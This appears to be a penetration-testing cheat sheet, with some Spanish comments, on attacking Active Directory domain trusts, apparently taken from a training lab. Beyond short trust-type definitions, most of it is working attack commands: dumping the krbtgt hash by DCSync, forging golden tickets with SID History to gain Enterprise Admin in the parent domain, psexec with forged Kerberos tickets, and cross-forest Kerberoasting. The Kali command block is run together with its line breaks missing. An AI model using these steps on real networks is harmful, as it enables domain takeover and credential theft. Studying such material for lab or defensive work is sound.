AD Domain Trusts

Trust Types

  • Parent-Child: bidirectional and transitive within the same forest.
  • Tree-Root: transitive between tree roots in a forest.
  • Forest Trust: between forests (transitive or not).
  • External Trust: non-transitive between domains in different forests.
  • Bidirectional / Unidirectional: both trust each other, or only one does.
  • Transitive: if A↔B and B↔C, then A↔C.

Trust Enumeration

powershell
Get-ADTrust -Filter *        # PowerShell
Get-DomainTrust              # PowerView
netdom query /domain:inlanefreight.local trust
BloodHound: query "Map Domain Trusts".

Common Attacks

  • Golden Ticket: use SIDs from trusted domains to forge TGTs.
  • SID History Injection: add SIDs from privileged domains to less secure accounts.
  • Cross-domain group abuse.

Child to Parent Using SID History (Windows)

powershell
# 1. Hash KRBTGT del dominio hijo
mimikatz # lsadump::dcsync /user:LOGISTICS\krbtgt
# 2. SIDs necesarios
Get-DomainSID
Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins"
# 3. Golden Ticket con SID History
kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:SID_HIJO /krbtgt:HASH_KRBTGT /sids:SID_ENTERPRISE_ADMINS /ptt
.\Rubeus.exe golden /rc4:HASH_KRBTGT /domain:DOMINIO_HIJO /sid:SID_HIJO /sids:SID_ENTERPRISE_ADMINS /user:hacker /ptt
# 4. Acceso al dominio padre
ls \\dc-padre\c$
lsadump::dcsync /user:INLANEFREIGHT\lab_adm /domain:INLANEFREIGHT.LOCAL

Child to Parent Using SID History (from Kali)

terminal
secretsdump.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 -just-dc-user LOGISTICS/krbtgtlookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 | grep "Domain SID"lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.5 | grep "Enterprise Admins"ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain LOGISTICS.INLANEFREIGHT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hacker$ export KRB5CCNAME=hacker.ccache$ psexec.py LOGISTICS.INLANEFREIGHT.LOCAL/hacker@academy-ea-dc01.inlanefreight.local -k -no-pass# Si falla el manual, usar raiseChild.pyraiseChild.py -target-exec 172.16.5.5 LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm

Cross-Forest from Windows

Cross-Forest Kerberoasting

powershell
Get-DomainUser -SPN -Domain FREIGHTLOGISTICS.LOCAL
.\Rubeus.exe kerberoast /domain:FREIGHTLOGISTICS.LOCAL /user:mssqlsvc

Administrator Password Reuse

If administrators use the same password in both forests, the stolen credentials work for the second domain.

Abusing Group Memberships

powershell
Get-DomainForeignGroupMember -Domain FREIGHTLOGISTICS.LOCAL
Enter-PSSession -ComputerName DC03.FREIGHTLOGISTICS.LOCAL -Credential INLANEFREIGHT\administrator

Cross-Forest from Kali

terminal
GetUserSPNs.py -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wleyGetUserSPNs.py -request -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley